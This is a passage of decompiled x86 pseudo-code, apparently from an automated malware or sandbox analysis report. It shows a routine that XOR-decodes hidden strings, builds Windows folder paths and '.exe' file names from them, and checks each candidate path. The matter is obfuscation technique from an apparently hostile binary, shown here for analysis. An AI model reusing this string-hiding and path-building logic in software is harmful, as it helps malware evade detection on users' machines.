                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t1651 = _v60;
                                                          						_t1808 = _t1655 + 1;
                                                          						_t1402 = _t1651;
                                                          						if(_t1808 < 0x1000) {
                                                          							L10:
                                                          							_push(_t1808);
                                                          							E0040EDFF(_t1651);
                                                          							_t1839 = _t1839 + 8;
                                                          							goto L11;
                                                          						} else {
                                                          							_t1424 =  *(_t1651 - 4);
                                                          							_t1660 = _t1808 + 0x23;
                                                          							if(_t1402 - _t1424 + 0xfffffffc > 0x1f) {
                                                          								L31:
                                                          								E00413527(_t1410, _t1660, __eflags);
                                                          								goto L32;
                                                          							} else {
                                                          								goto L10;
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					L21:
                                                          					_v29 = 0;
                                                          					L22:
                                                          					_t1658 =  *(_t1410 + 0x1c);
                                                          					if(_t1658 < 0x10) {
                                                          						L26:
                                                          						_t1659 =  *((intOrPtr*)(_t1410 + 0x34));
                                                          						 *(_t1410 + 0x18) = 0;
                                                          						 *(_t1410 + 0x1c) = 0xf;
                                                          						 *((char*)(_t1410 + 8)) = 0;
                                                          						if(_t1659 < 0x10) {
                                                          							L30:
                                                          							 *[fs:0x0] = _v24;
                                                          							return _v29;
                                                          						} else {
                                                          							_t1424 =  *(_t1410 + 0x20);
                                                          							_t1660 = _t1659 + 1;
                                                          							_t869 = _t1424;
                                                          							if(_t1660 < 0x1000) {
                                                          								L29:
                                                          								_push(_t1660);
                                                          								E0040EDFF(_t1424);
                                                          								goto L30;
                                                          							} else {
                                                          								_t1424 =  *(_t1424 - 4);
                                                          								_t1660 =  &(_t1660[0x23]);
                                                          								if(_t869 - _t1424 + 0xfffffffc > 0x1f) {
                                                          									goto L32;
                                                          								} else {
                                                          									goto L29;
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t1648 =  *((intOrPtr*)(_t1410 + 8));
                                                          						_t1805 =  &(1[_t1658]);
                                                          						_t1387 = _t1648;
                                                          						if(_t1805 < 0x1000) {
                                                          							L25:
                                                          							_push(_t1805);
                                                          							E0040EDFF(_t1648);
                                                          							_t1839 = _t1839 + 8;
                                                          							goto L26;
                                                          						} else {
                                                          							_t50 = _t1648 - 4; // 0xffffe6c2
                                                          							_t1424 =  *_t50;
                                                          							_t1660 =  &(_t1805[0x23]);
                                                          							if(_t1387 - _t1424 + 0xfffffffc > 0x1f) {
                                                          								L32:
                                                          								E00413527(_t1410, _t1660, __eflags);
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								_push(_t1410);
                                                          								_t1412 = _t1839;
                                                          								_t1846 = (_t1839 - 0x00000008 & 0xfffffff8) + 4;
                                                          								_push(_t1827);
                                                          								_v128 =  *((intOrPtr*)(_t1412 + 4));
                                                          								_t1830 = _t1846;
                                                          								_push(0xffffffff);
                                                          								_push(0x42c942);
                                                          								_push( *[fs:0x0]);
                                                          								_push(_t1412);
                                                          								_t1847 = _t1846 - 0x1c0;
                                                          								_t875 =  *0x43d054; // 0x6e36c9b5
                                                          								_t876 = _t875 ^ _t1830;
                                                          								_v152 = _t876;
                                                          								_push(_t1814);
                                                          								_push(_t1809);
                                                          								_push(_t876);
                                                          								 *[fs:0x0] =  &_v144;
                                                          								_t1817 = _t1424;
                                                          								_v520 = _t1817;
                                                          								_v520 = _t1817;
                                                          								_v516 = 0;
                                                          								_v500 = 0;
                                                          								_v496 = 0xf;
                                                          								_v516 = 0;
                                                          								_v136 = 0;
                                                          								_t878 = E004065E0(_t1817); // executed
                                                          								__eflags = _t878;
                                                          								if(_t878 != 0) {
                                                          									E00406760(_t1412,  &_v360, _t1809);
                                                          									_v28 = 0x16;
                                                          									_t880 = E00417DF6( &_v360, __eflags);
                                                          									asm("cdq");
                                                          									E004055C0( &_v384, _t880 % 0xa + 5);
                                                          									_v28 = 0x17;
                                                          									_v413 = 0x2e;
                                                          									_t1810 =  *( *[fs:0x2c]);
                                                          									_t884 =  *0x450f24; // 0x0
                                                          									__eflags = _t884 -  *((intOrPtr*)(_t1810 + 4));
                                                          									if(_t884 >  *((intOrPtr*)(_t1810 + 4))) {
                                                          										E0040EF48(_t884, 0x450f24);
                                                          										_t1847 = _t1847 + 4;
                                                          										__eflags =  *0x450f24 - 0xffffffff;
                                                          										if(__eflags == 0) {
                                                          											asm("movaps xmm0, [0x439d90]");
                                                          											asm("movups [0x450e90], xmm0");
                                                          											 *0x450ea0 = _v413;
                                                          											E0040F25B( &_v384, __eflags, 0x42d010);
                                                          											E0040EEFE(0x450f24);
                                                          											_t1847 = _t1847 + 8;
                                                          										}
                                                          									}
                                                          									_t885 =  *0x450ea0; // 0x0
                                                          									__eflags = _t885;
                                                          									if(_t885 != 0) {
                                                          										asm("movups xmm0, [0x450e90]");
                                                          										asm("movaps xmm1, [0x439d30]");
                                                          										asm("pxor xmm1, xmm0");
                                                          										 *0x450ea0 = _t885 ^ 0x0000002e;
                                                          										asm("movups [0x450e90], xmm1");
                                                          									}
                                                          									_t1428 = 0x450e90;
                                                          									_v464 = 0;
                                                          									_v448 = 0;
                                                          									_v444 = 0xf;
                                                          									_v464 = 0;
                                                          									_t466 = _t1428 + 1; // 0x450e91
                                                          									_t1663 = _t466;
                                                          									do {
                                                          										_t886 =  *_t1428;
                                                          										_t1428 = _t1428 + 1;
                                                          										__eflags = _t886;
                                                          									} while (_t886 != 0);
                                                          									E004026B0(_t1412,  &_v464, 0x450e90, _t1428 - _t1663);
                                                          									_v28 = 0x18;
                                                          									_t1664 = _v444;
                                                          									_t1431 = _v448;
                                                          									__eflags = _t1664 - _t1431 - 1;
                                                          									if(_t1664 - _t1431 < 1) {
                                                          										_v412 = 0;
                                                          										_t890 = E00402980(_t1412,  &_v464, _t1810, _t1817, 1, _v412, "\\", 1);
                                                          									} else {
                                                          										_t471 = _t1431 + 1; // 0x1
                                                          										__eflags = _t1664 - 0x10;
                                                          										_v448 = _t471;
                                                          										_t1150 =  >=  ? _v464 :  &_v464;
                                                          										 *((short*)(( >=  ? _v464 :  &_v464) + _t1431)) = 0x5c;
                                                          										_t890 =  &_v464;
                                                          									}
                                                          									_v440 = 0;
                                                          									_v424 = 0;
                                                          									_v420 = 0;
                                                          									asm("movups xmm0, [eax]");
                                                          									asm("movups [ebp-0x1a0], xmm0");
                                                          									asm("movq xmm0, [eax+0x10]");
                                                          									asm("movq [ebp-0x190], xmm0");
                                                          									 *(_t890 + 0x10) = 0;
                                                          									 *(_t890 + 0x14) = 0xf;
                                                          									 *_t890 = 0;
                                                          									_v28 = 0x19;
                                                          									_t892 = E0040C990( &_v488,  &_v440,  &_v360);
                                                          									_t1848 = _t1847 + 4;
                                                          									E00402490(_t1412,  &_v408, _t892);
                                                          									_t1666 = _v468;
                                                          									__eflags = _t1666 - 0x10;
                                                          									if(_t1666 < 0x10) {
                                                          										L231:
                                                          										_v28 = 0x18;
                                                          										_t1667 = _v420;
                                                          										_v472 = 0;
                                                          										_v468 = 0xf;
                                                          										_v488 = 0;
                                                          										__eflags = _t1667 - 0x10;
                                                          										if(_t1667 < 0x10) {
                                                          											L235:
                                                          											_v28 = 0x17;
                                                          											_t1668 = _v444;
                                                          											_v424 = 0;
                                                          											_v420 = 0xf;
                                                          											_v440 = 0;
                                                          											__eflags = _t1668 - 0x10;
                                                          											if(_t1668 < 0x10) {
                                                          												L239:
                                                          												_t1849 = _t1848 - 0x18;
                                                          												_v316 = _t1849;
                                                          												E0040BB90(_t1412, _t1849, _t1668, _t1810,  &_v384);
                                                          												_t1850 = _t1849 - 0x18;
                                                          												_v28 = 0x1a;
                                                          												_t1436 = _t1850;
                                                          												E0040BB90(_t1412, _t1436, _t1668, _t1810,  &_v408);
                                                          												_v28 = 0x17;
                                                          												_t898 = E00406800(_t1412, _t1436, _t1810, _t1817);
                                                          												_t1851 = _t1850 + 0x30;
                                                          												__eflags = _t898;
                                                          												if(_t898 == 0) {
                                                          													_t899 =  *0x450f8c; // 0x0
                                                          													_v328 = 0x7e72146d;
                                                          													_v324 = 0x5c49415c;
                                                          													_v320 = 0x4f6a434f;
                                                          													_v316 = 0x4f5a;
                                                          													_v413 = 0x2e;
                                                          													__eflags = _t899 -  *((intOrPtr*)(_t1810 + 4));
                                                          													if(_t899 >  *((intOrPtr*)(_t1810 + 4))) {
                                                          														E0040EF48(_t899, 0x450f8c);
                                                          														_t1851 = _t1851 + 4;
                                                          														__eflags =  *0x450f8c - 0xffffffff;
                                                          														if(__eflags == 0) {
                                                          															asm("movq xmm0, [ebp-0x130]");
                                                          															 *0x450d6c = _v320;
                                                          															 *0x450d70 = _v316;
                                                          															asm("movq [0x450d64], xmm0");
                                                          															 *0x450d72 = _v413;
                                                          															E0040F25B(_t1436, __eflags, 0x42cfe0);
                                                          															E0040EEFE(0x450f8c);
                                                          															_t1851 = _t1851 + 8;
                                                          														}
                                                          													}
                                                          													__eflags =  *0x450d72;
                                                          													if( *0x450d72 != 0) {
                                                          														_t1106 = 0;
                                                          														__eflags = 0;
                                                          														do {
                                                          															 *(_t1106 + 0x450d64) =  *(_t1106 + 0x450d64) ^ 0x0000002e;
                                                          															_t1106 = _t1106 + 1;
                                                          															__eflags = _t1106 - 0xf;
                                                          														} while (_t1106 < 0xf);
                                                          													}
                                                          													_t1437 = 0x450d64;
                                                          													_v464 = 0;
                                                          													_v448 = 0;
                                                          													_v444 = 0xf;
                                                          													_v464 = 0;
                                                          													_t570 = _t1437 + 1; // 0x450d65
                                                          													_t1669 = _t570;
                                                          													asm("o16 nop [eax+eax]");
                                                          													do {
                                                          														_t900 =  *_t1437;
                                                          														_t1437 = _t1437 + 1;
                                                          														__eflags = _t900;
                                                          													} while (_t900 != 0);
                                                          													E004026B0(_t1412,  &_v464, 0x450d64, _t1437 - _t1669);
                                                          													_v28 = 0x1d;
                                                          													_t1670 = _v444;
                                                          													_t1440 = _v448;
                                                          													__eflags = _t1670 - _t1440 - 1;
                                                          													if(_t1670 - _t1440 < 1) {
                                                          														_v412 = 0;
                                                          														_t904 = E00402980(_t1412,  &_v464, _t1810, _t1817, 1, _v412, "\\", 1);
                                                          													} else {
                                                          														_t575 = _t1440 + 1; // 0x1
                                                          														__eflags = _t1670 - 0x10;
                                                          														_v448 = _t575;
                                                          														_t1105 =  >=  ? _v464 :  &_v464;
                                                          														 *((short*)(( >=  ? _v464 :  &_v464) + _t1440)) = 0x5c;
                                                          														_t904 =  &_v464;
                                                          													}
                                                          													_v440 = 0;
                                                          													_v424 = 0;
                                                          													_v420 = 0;
                                                          													asm("movups xmm0, [eax]");
                                                          													asm("movups [ebp-0x1a0], xmm0");
                                                          													asm("movq xmm0, [eax+0x10]");
                                                          													asm("movq [ebp-0x190], xmm0");
                                                          													 *(_t904 + 0x10) = 0;
                                                          													 *(_t904 + 0x14) = 0xf;
                                                          													 *_t904 = 0;
                                                          													_v28 = 0x1e;
                                                          													_t906 = E0040C990( &_v488,  &_v440,  &_v360);
                                                          													_t1852 = _t1851 + 4;
                                                          													E00402490(_t1412,  &_v408, _t906);
                                                          													_t1672 = _v468;
                                                          													__eflags = _t1672 - 0x10;
                                                          													if(_t1672 < 0x10) {
                                                          														L277:
                                                          														_v28 = 0x1d;
                                                          														_t1673 = _v420;
                                                          														_v472 = 0;
                                                          														_v468 = 0xf;
                                                          														_v488 = 0;
                                                          														__eflags = _t1673 - 0x10;
                                                          														if(_t1673 < 0x10) {
                                                          															L281:
                                                          															_v28 = 0x17;
                                                          															_t1674 = _v444;
                                                          															_v424 = 0;
                                                          															_v420 = 0xf;
                                                          															_v440 = 0;
                                                          															__eflags = _t1674 - 0x10;
                                                          															if(_t1674 < 0x10) {
                                                          																L285:
                                                          																_t1853 = _t1852 - 0x18;
                                                          																_v316 = _t1853;
                                                          																E0040BB90(_t1412, _t1853, _t1674, _t1810,  &_v384);
                                                          																_t1854 = _t1853 - 0x18;
                                                          																_v28 = 0x1f;
                                                          																_t1445 = _t1854;
                                                          																E0040BB90(_t1412, _t1445, _t1674, _t1810,  &_v408);
                                                          																_v28 = 0x17;
                                                          																_t912 = E00406800(_t1412, _t1445, _t1810, _t1817);
                                                          																_t1855 = _t1854 + 0x30;
                                                          																__eflags = _t912;
                                                          																if(_t912 == 0) {
                                                          																	_t913 =  *0x450dd0; // 0x0
                                                          																	_v320 = 0x7a72146d;
                                                          																	_v316 = 0x2e5e434b;
                                                          																	__eflags = _t913 -  *((intOrPtr*)(_t1810 + 4));
                                                          																	if(_t913 >  *((intOrPtr*)(_t1810 + 4))) {
                                                          																		E0040EF48(_t913, 0x450dd0);
                                                          																		_t1855 = _t1855 + 4;
                                                          																		__eflags =  *0x450dd0 - 0xffffffff;
                                                          																		if(__eflags == 0) {
                                                          																			 *0x450d84 = _v320;
                                                          																			 *0x450d88 = _v316;
                                                          																			E0040F25B(_v316, __eflags, 0x42cfd0);
                                                          																			E0040EEFE(0x450dd0);
                                                          																			_t1855 = _t1855 + 8;
                                                          																		}
                                                          																	}
                                                          																	_t914 =  *0x450d8b; // 0x0
                                                          																	__eflags = _t914;
                                                          																	if(_t914 != 0) {
                                                          																		 *0x450d84 =  *0x450d84 ^ 0x0000002e;
                                                          																		 *0x450d85 =  *0x450d85 ^ 0x0000002e;
                                                          																		 *0x450d86 =  *0x450d86 ^ 0x0000002e;
                                                          																		 *0x450d87 =  *0x450d87 ^ 0x0000002e;
                                                          																		 *0x450d88 =  *0x450d88 ^ 0x0000002e;
                                                          																		 *0x450d89 =  *0x450d89 ^ 0x0000002e;
                                                          																		 *0x450d8a =  *0x450d8a ^ 0x0000002e;
                                                          																		_t1059 = _t914 ^ 0x0000002e;
                                                          																		__eflags = _t1059;
                                                          																		 *0x450d8b = _t1059;
                                                          																	}
                                                          																	_t1446 = 0x450d84;
                                                          																	_v464 = 0;
                                                          																	_v448 = 0;
                                                          																	_v444 = 0xf;
                                                          																	_v464 = 0;
                                                          																	_t668 =  &(_t1446[1]); // 0x450d85
                                                          																	_t1675 = _t668;
                                                          																	do {
                                                          																		_t915 =  *_t1446;
                                                          																		_t1446 =  &(_t1446[1]);
                                                          																		__eflags = _t915;
                                                          																	} while (_t915 != 0);
                                                          																	E004026B0(_t1412,  &_v464, 0x450d84, _t1446 - _t1675);
                                                          																	_v28 = 0x22;
                                                          																	_t1676 = _v444;
                                                          																	_t1449 = _v448;
                                                          																	__eflags = _t1676 - _t1449 - 1;
                                                          																	if(_t1676 - _t1449 < 1) {
                                                          																		_v412 = 0;
                                                          																		_t919 = E00402980(_t1412,  &_v464, _t1810, _t1817, 1, _v412, "\\", 1);
                                                          																	} else {
                                                          																		_t673 = _t1449 + 1; // 0x1
                                                          																		__eflags = _t1676 - 0x10;
                                                          																		_v448 = _t673;
                                                          																		_t1058 =  >=  ? _v464 :  &_v464;
                                                          																		 *((short*)(( >=  ? _v464 :  &_v464) + _t1449)) = 0x5c;
                                                          																		_t919 =  &_v464;
                                                          																	}
                                                          																	_v440 = 0;
                                                          																	_v424 = 0;
                                                          																	_v420 = 0;
                                                          																	asm("movups xmm0, [eax]");
                                                          																	asm("movups [ebp-0x1a0], xmm0");
                                                          																	asm("movq xmm0, [eax+0x10]");
                                                          																	asm("movq [ebp-0x190], xmm0");
                                                          																	 *(_t919 + 0x10) = 0;
                                                          																	 *(_t919 + 0x14) = 0xf;
                                                          																	 *_t919 = 0;
                                                          																	_v28 = 0x23;
                                                          																	_t921 = E0040C990( &_v488,  &_v440,  &_v360);
                                                          																	_t1856 = _t1855 + 4;
                                                          																	E00402490(_t1412,  &_v408, _t921);
                                                          																	_t1678 = _v468;
                                                          																	__eflags = _t1678 - 0x10;
                                                          																	if(_t1678 < 0x10) {
                                                          																		L322:
                                                          																		_v28 = 0x22;
                                                          																		_t1679 = _v420;
                                                          																		_v472 = 0;
                                                          																		_v468 = 0xf;
                                                          																		_v488 = 0;
                                                          																		__eflags = _t1679 - 0x10;
                                                          																		if(_t1679 < 0x10) {
                                                          																			L326:
                                                          																			_v28 = 0x17;
                                                          																			_t1680 = _v444;
                                                          																			_v424 = 0;
                                                          																			_v420 = 0xf;
                                                          																			_v440 = 0;
                                                          																			__eflags = _t1680 - 0x10;
                                                          																			if(_t1680 < 0x10) {
                                                          																				L330:
                                                          																				_t1857 = _t1856 - 0x18;
                                                          																				_v316 = _t1857;
                                                          																				E0040BB90(_t1412, _t1857, _t1680, _t1810,  &_v384);
                                                          																				_t1858 = _t1857 - 0x18;
                                                          																				_v28 = 0x24;
                                                          																				_t1454 = _t1858;
                                                          																				E0040BB90(_t1412, _t1454, _t1680, _t1810,  &_v408);
                                                          																				_v28 = 0x17;
                                                          																				_t927 = E00406800(_t1412, _t1454, _t1810, _t1817);
                                                          																				_t1859 = _t1858 + 0x30;
                                                          																				__eflags = _t927;
                                                          																				if(_t927 == 0) {
                                                          																					E00402440(_t1412,  &_v384);
                                                          																					_v28 = 0;
                                                          																					E00402440(_t1412,  &_v360);
                                                          																					goto L342;
                                                          																				} else {
                                                          																					_push(_t1454);
                                                          																					_t934 = E0040C770( &_v440,  &_v408);
                                                          																					_v28 = 0x25;
                                                          																					_t935 = E0040C990( &_v488, _t934,  &_v384);
                                                          																					_t1856 = _t1859 + 8;
                                                          																					_t1466 = _t935;
                                                          																					_v28 = 0x26;
                                                          																					_t1810 =  *(_t1466 + 0x14);
                                                          																					_t1683 =  *(_t1466 + 0x10);
                                                          																					__eflags = _t1810 - _t1683 - 4;
                                                          																					if(_t1810 - _t1683 < 4) {
                                                          																						_v412 = 0;
                                                          																						_t1466 = E00402980(_t1412, _t1466, _t1810, _t1817, 4, _v412, ".exe", 4);
                                                          																					} else {
                                                          																						 *(_t1466 + 0x10) =  &(_t1683->lpSecurityDescriptor);
                                                          																						_t1043 = _t1466;
                                                          																						__eflags = _t1810 - 0x10;
                                                          																						if(_t1810 >= 0x10) {
                                                          																							_t1043 =  *_t1466;
                                                          																						}
                                                          																						 *((intOrPtr*)(_t1043 + _t1683)) = 0x6578652e;
                                                          																						 *((char*)(_t1043 +  &(_t1683->lpSecurityDescriptor))) = 0;
                                                          																					}
                                                          																					 *_t1817 = 0;
                                                          																					 *(_t1817 + 0x10) = 0;
                                                          																					 *(_t1817 + 0x14) = 0;
                                                          																					asm("movups xmm0, [ecx]");
                                                          																					asm("movups [esi], xmm0");
                                                          																					asm("movq xmm0, [ecx+0x10]");
                                                          																					asm("movq [esi+0x10], xmm0");
                                                          																					 *(_t1466 + 0x10) = 0;
                                                          																					 *(_t1466 + 0x14) = 0xf;
                                                          																					 *_t1466 = 0;
                                                          																					_t1680 = _v468;
                                                          																					__eflags = _t1680 - 0x10;
                                                          																					if(_t1680 < 0x10) {
                                                          																						L340:
                                                          																						_v472 = 0;
                                                          																						_v468 = 0xf;
                                                          																						_v488 = 0;
                                                          																						E00402440(_t1412,  &_v440);
                                                          																						E00402440(_t1412,  &_v384);
                                                          																						E00402440(_t1412,  &_v360);
                                                          																						goto L343;
                                                          																					} else {
                                                          																						_t1470 = _v488;
                                                          																						_t1680 =  &(1[_t1680]);
                                                          																						_t942 = _t1470;
                                                          																						__eflags = _t1680 - 0x1000;
                                                          																						if(_t1680 < 0x1000) {
                                                          																							L339:
                                                          																							_push(_t1680);
                                                          																							E0040EDFF(_t1470);
                                                          																							goto L340;
                                                          																						} else {
                                                          																							_t1470 =  *((intOrPtr*)(_t1470 - 4));
                                                          																							_t1680 = _t1680 + 0x23;
                                                          																							__eflags = _t942 - _t1470 + 0xfffffffc - 0x1f;
                                                          																							if(__eflags > 0) {
                                                          																								goto L346;
                                                          																							} else {
                                                          																								goto L339;
                                                          																							}
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			} else {
                                                          																				_t1537 = _v464;
                                                          																				_t1680 =  &(1[_t1680]);
                                                          																				_t1044 = _t1537;
                                                          																				__eflags = _t1680 - 0x1000;
                                                          																				if(_t1680 < 0x1000) {
                                                          																					L329:
                                                          																					_push(_t1680);
                                                          																					E0040EDFF(_t1537);
                                                          																					_t1856 = _t1856 + 8;
                                                          																					goto L330;
                                                          																				} else {
                                                          																					_t1470 =  *((intOrPtr*)(_t1537 - 4));
                                                          																					_t1680 = _t1680 + 0x23;
                                                          																					__eflags = _t1044 -  *((intOrPtr*)(_t1537 - 4)) + 0xfffffffc - 0x1f;
                                                          																					if(__eflags > 0) {
                                                          																						goto L346;
                                                          																					} else {
                                                          																						goto L329;
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		} else {
                                                          																			_t1538 = _v440;
                                                          																			_t1701 =  &(_t1679->nLength);
                                                          																			_t1048 = _t1538;
                                                          																			__eflags = _t1701 - 0x1000;
                                                          																			if(_t1701 < 0x1000) {
                                                          																				L325:
                                                          																				_push(_t1701);
                                                          																				E0040EDFF(_t1538);
                                                          																				_t1856 = _t1856 + 8;
                                                          																				goto L326;
                                                          																			} else {
                                                          																				_t1470 =  *((intOrPtr*)(_t1538 - 4));
                                                          																				_t1680 = _t1701 + 0x23;
                                                          																				__eflags = _t1048 -  *((intOrPtr*)(_t1538 - 4)) + 0xfffffffc - 0x1f;
                                                          																				if(__eflags > 0) {
                                                          																					goto L346;
                                                          																				} else {
                                                          																					goto L325;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	} else {
                                                          																		_t1539 = _v488;
                                                          																		_t1702 = _t1678 + 1;
                                                          																		_t1052 = _t1539;
                                                          																		__eflags = _t1702 - 0x1000;
                                                          																		if(_t1702 < 0x1000) {
                                                          																			L321:
                                                          																			_push(_t1702);
                                                          																			E0040EDFF(_t1539);
                                                          																			_t1856 = _t1856 + 8;
                                                          																			goto L322;
                                                          																		} else {
                                                          																			_t1470 =  *((intOrPtr*)(_t1539 - 4));
                                                          																			_t1680 = _t1702 + 0x23;
                                                          																			__eflags = _t1052 -  *((intOrPtr*)(_t1539 - 4)) + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L346;
                                                          																			} else {
                                                          																				goto L321;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_push(_t1445);
                                                          																	_t1064 = E0040C770( &_v440,  &_v408);
                                                          																	_v28 = 0x20;
                                                          																	_t1065 = E0040C990( &_v488, _t1064,  &_v384);
                                                          																	_t1856 = _t1855 + 8;
                                                          																	_t1544 = _t1065;
                                                          																	_v28 = 0x21;
                                                          																	_t1810 =  *(_t1544 + 0x14);
                                                          																	_t1705 =  *(_t1544 + 0x10);
                                                          																	__eflags = _t1810 - _t1705 - 4;
                                                          																	if(_t1810 - _t1705 < 4) {
                                                          																		_v412 = 0;
                                                          																		_t1544 = E00402980(_t1412, _t1544, _t1810, _t1817, 4, _v412, ".exe", 4);
                                                          																	} else {
                                                          																		 *(_t1544 + 0x10) =  &(_t1705->lpSecurityDescriptor);
                                                          																		_t1090 = _t1544;
                                                          																		__eflags = _t1810 - 0x10;
                                                          																		if(_t1810 >= 0x10) {
                                                          																			_t1090 =  *_t1544;
                                                          																		}
                                                          																		 *((intOrPtr*)(_t1090 + _t1705)) = 0x6578652e;
                                                          																		 *((char*)(_t1090 +  &(_t1705->lpSecurityDescriptor))) = 0;
                                                          																	}
                                                          																	 *_t1817 = 0;
                                                          																	 *(_t1817 + 0x10) = 0;
                                                          																	 *(_t1817 + 0x14) = 0;
                                                          																	asm("movups xmm0, [ecx]");
                                                          																	asm("movups [esi], xmm0");
                                                          																	asm("movq xmm0, [ecx+0x10]");
                                                          																	asm("movq [esi+0x10], xmm0");
                                                          																	 *(_t1544 + 0x10) = 0;
                                                          																	 *(_t1544 + 0x14) = 0xf;
                                                          																	 *_t1544 = 0;
                                                          																	_t1706 = _v468;
                                                          																	__eflags = _t1706 - 0x10;
                                                          																	if(_t1706 < 0x10) {
                                                          																		L295:
                                                          																		_t1707 = _v420;
                                                          																		_v472 = 0;
                                                          																		_v468 = 0xf;
                                                          																		_v488 = 0;
                                                          																		__eflags = _t1707 - 0x10;
                                                          																		if(_t1707 < 0x10) {
                                                          																			L299:
                                                          																			_t1708 = _v364;
                                                          																			_v424 = 0;
                                                          																			_v420 = 0xf;
                                                          																			_v440 = 0;
                                                          																			__eflags = _t1708 - 0x10;
                                                          																			if(_t1708 < 0x10) {
                                                          																				L303:
                                                          																				_t1709 = _v340;
                                                          																				_v368 = 0;
                                                          																				_v364 = 0xf;
                                                          																				_v384 = 0;
                                                          																				__eflags = _t1709 - 0x10;
                                                          																				if(_t1709 < 0x10) {
                                                          																					goto L261;
                                                          																				} else {
                                                          																					_t1546 = _v360;
                                                          																					_t1710 = _t1709 + 1;
                                                          																					_t1073 = _t1546;
                                                          																					__eflags = _t1710 - 0x1000;
                                                          																					if(_t1710 < 0x1000) {
                                                          																						L306:
                                                          																						_push(_t1710);
                                                          																						E0040EDFF(_t1546);
                                                          																						_t1856 = _t1856 + 8;
                                                          																						_v344 = 0;
                                                          																						_v340 = 0xf;
                                                          																						_v360 = 0;
                                                          																						goto L72;
                                                          																					} else {
                                                          																						_t1470 =  *((intOrPtr*)(_t1546 - 4));
                                                          																						_t1680 = _t1710 + 0x23;
                                                          																						__eflags = _t1073 -  *((intOrPtr*)(_t1546 - 4)) + 0xfffffffc - 0x1f;
                                                          																						if(__eflags > 0) {
                                                          																							goto L346;
                                                          																						} else {
                                                          																							goto L306;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			} else {
                                                          																				_t1547 = _v384;
                                                          																				_t1711 = _t1708 + 1;
                                                          																				_t1077 = _t1547;
                                                          																				__eflags = _t1711 - 0x1000;
                                                          																				if(_t1711 < 0x1000) {
                                                          																					L302:
                                                          																					_push(_t1711);
                                                          																					E0040EDFF(_t1547);
                                                          																					_t1856 = _t1856 + 8;
                                                          																					goto L303;
                                                          																				} else {
                                                          																					_t1470 =  *((intOrPtr*)(_t1547 - 4));
                                                          																					_t1680 = _t1711 + 0x23;
                                                          																					__eflags = _t1077 -  *((intOrPtr*)(_t1547 - 4)) + 0xfffffffc - 0x1f;
                                                          																					if(__eflags > 0) {
                                                          																						goto L346;
                                                          																					} else {
                                                          																						goto L302;
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		} else {
                                                          																			_t1548 = _v440;
                                                          																			_t1712 =  &(_t1707->nLength);
                                                          																			_t1081 = _t1548;
                                                          																			__eflags = _t1712 - 0x1000;
                                                          																			if(_t1712 < 0x1000) {
                                                          																				L298:
                                                          																				_push(_t1712);
                                                          																				E0040EDFF(_t1548);
                                                          																				_t1856 = _t1856 + 8;
                                                          																				goto L299;
                                                          																			} else {
                                                          																				_t1470 =  *((intOrPtr*)(_t1548 - 4));
                                                          																				_t1680 = _t1712 + 0x23;
                                                          																				__eflags = _t1081 -  *((intOrPtr*)(_t1548 - 4)) + 0xfffffffc - 0x1f;
                                                          																				if(__eflags > 0) {
                                                          																					goto L346;
                                                          																				} else {
                                                          																					goto L298;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	} else {
                                                          																		_t1549 = _v488;
                                                          																		_t1713 = _t1706 + 1;
                                                          																		_t1085 = _t1549;
                                                          																		__eflags = _t1713 - 0x1000;
                                                          																		if(_t1713 < 0x1000) {
                                                          																			L294:
                                                          																			_push(_t1713);
                                                          																			E0040EDFF(_t1549);
                                                          																			_t1856 = _t1856 + 8;
                                                          																			goto L295;
                                                          																		} else {
                                                          																			_t1470 =  *((intOrPtr*)(_t1549 - 4));
                                                          																			_t1680 = _t1713 + 0x23;
                                                          																			__eflags = _t1085 -  *((intOrPtr*)(_t1549 - 4)) + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L346;
                                                          																			} else {
                                                          																				goto L294;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_t1550 = _v464;
                                                          																_t1674 =  &(_t1674->nLength);
                                                          																_t1091 = _t1550;
                                                          																__eflags = _t1674 - 0x1000;
                                                          																if(_t1674 < 0x1000) {
                                                          																	L284:
                                                          																	_push(_t1674);
                                                          																	E0040EDFF(_t1550);
                                                          																	_t1852 = _t1852 + 8;
                                                          																	goto L285;
                                                          																} else {
                                                          																	_t1470 =  *((intOrPtr*)(_t1550 - 4));
                                                          																	_t1680 = _t1674 + 0x23;
                                                          																	__eflags = _t1091 -  *((intOrPtr*)(_t1550 - 4)) + 0xfffffffc - 0x1f;
                                                          																	if(__eflags > 0) {
                                                          																		goto L346;
                                                          																	} else {
                                                          																		goto L284;
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t1551 = _v440;
                                                          															_t1714 =  &(_t1673->nLength);
                                                          															_t1095 = _t1551;
                                                          															__eflags = _t1714 - 0x1000;
                                                          															if(_t1714 < 0x1000) {
                                                          																L280:
                                                          																_push(_t1714);
                                                          																E0040EDFF(_t1551);
                                                          																_t1852 = _t1852 + 8;
                                                          																goto L281;
                                                          															} else {
                                                          																_t1470 =  *((intOrPtr*)(_t1551 - 4));
                                                          																_t1680 = _t1714 + 0x23;
                                                          																__eflags = _t1095 -  *((intOrPtr*)(_t1551 - 4)) + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L346;
                                                          																} else {
                                                          																	goto L280;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t1552 = _v488;
                                                          														_t1715 = _t1672 + 1;
                                                          														_t1099 = _t1552;
                                                          														__eflags = _t1715 - 0x1000;
                                                          														if(_t1715 < 0x1000) {
                                                          															L276:
                                                          															_push(_t1715);
                                                          															E0040EDFF(_t1552);
                                                          															_t1852 = _t1852 + 8;
                                                          															goto L277;
                                                          														} else {
                                                          															_t1470 =  *((intOrPtr*)(_t1552 - 4));
                                                          															_t1680 = _t1715 + 0x23;
                                                          															__eflags = _t1099 -  *((intOrPtr*)(_t1552 - 4)) + 0xfffffffc - 0x1f;
